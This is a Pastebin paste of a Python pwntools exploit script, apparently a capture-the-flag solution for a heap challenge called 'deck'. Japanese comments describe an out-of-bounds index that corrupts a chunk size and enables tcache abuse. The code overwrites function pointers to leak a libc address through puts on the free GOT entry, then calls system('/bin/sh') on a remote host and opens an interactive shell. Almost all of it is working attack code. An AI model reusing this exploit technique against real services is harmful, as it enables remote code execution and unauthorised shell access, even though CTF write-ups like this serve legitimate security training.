Guest User

solve.py

a guest
Aug 18th, 2024
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.98 KB | None | 0 0
  1. # yaru
  2. # main.cの57行目でjが範囲外になる可能性がある
  3. # strdupで確保したチャンクのmchunk_sizeが書き換えられる
  4. # mchunk_sizeが0x101などになると、1回目のchange_nameでサイズ0x100のtcacheに追加される
  5. # 2回目のchange_nameでtcacheから確保され、オーバーフロー可能になる
  6. # game->shuffleとgame->deckを書き換え、libcのアドレスをリークする
  7. # 同じようにして、system("/bin/sh")
  8.  
  9. from pwn import *
  10.  
  11. context.arch = 'amd64'
  12.  
  13. elf = ELF("./deck")
  14. libc = ELF("./libc.so.6")
  15.  
  16. def play(suit, num, ret=False):
  17.     r = None
  18.     p.sendlineafter(b'> ', b'1')
  19.     if ret:
  20.         p.recvline()
  21.         r = p.recvline(timeout=0.1)[:-1]
  22.     p.sendlineafter(b': ', str(suit).encode())
  23.     p.sendlineafter(b': ', str(num).encode())
  24.     return r
  25.  
  26. def change_shuffle(choice):
  27.     p.sendlineafter(b'> ', b'2')
  28.     p.sendlineafter(b': ', str(choice).encode())
  29.  
  30. def change_name(name, size):
  31.     p.sendlineafter(b'> ', b'3')
  32.     p.sendlineafter(b': ', str(size).encode())
  33.     p.sendlineafter(b': ', name)
  34.  
  35. while True:
  36.     try:
  37.         p = remote("34.170.146.252", 62318)
  38.  
  39.         change_shuffle(2)
  40.         play(1, 1)
  41.         change_name(b'A'*0x10, 0x10)
  42.         change_name(
  43.             flat(
  44.                 b'A'*0x20,
  45.                 elf.plt.puts, elf.got.free,
  46.             )[:-1],
  47.             0xf0,
  48.         )
  49.         libc.address = u64(play(1, 1, True).ljust(8, b'\0')) - 0xa53e0
  50.         print(hex(libc.address))
  51.  
  52.         change_name(b'B'*0x10, 0x10)
  53.         change_name(
  54.             flat(
  55.                 b'B'*0x20,
  56.                 libc.sym.system, next(libc.search(b'/bin/sh\0')),
  57.             )[:-1],
  58.             0xf0,
  59.         )
  60.         p.sendlineafter(b'> ', b'1')
  61.         p.recvline()
  62.  
  63.         p.sendline(b'echo asdf')
  64.         if p.recvline() == b'asdf\n':
  65.             p.interactive()
  66.  
  67.     except KeyboardInterrupt:
  68.         p.close()
  69.         break
  70.  
  71.     except:
  72.         p.close()
  73.  
Add Comment
Please, Sign In to add comment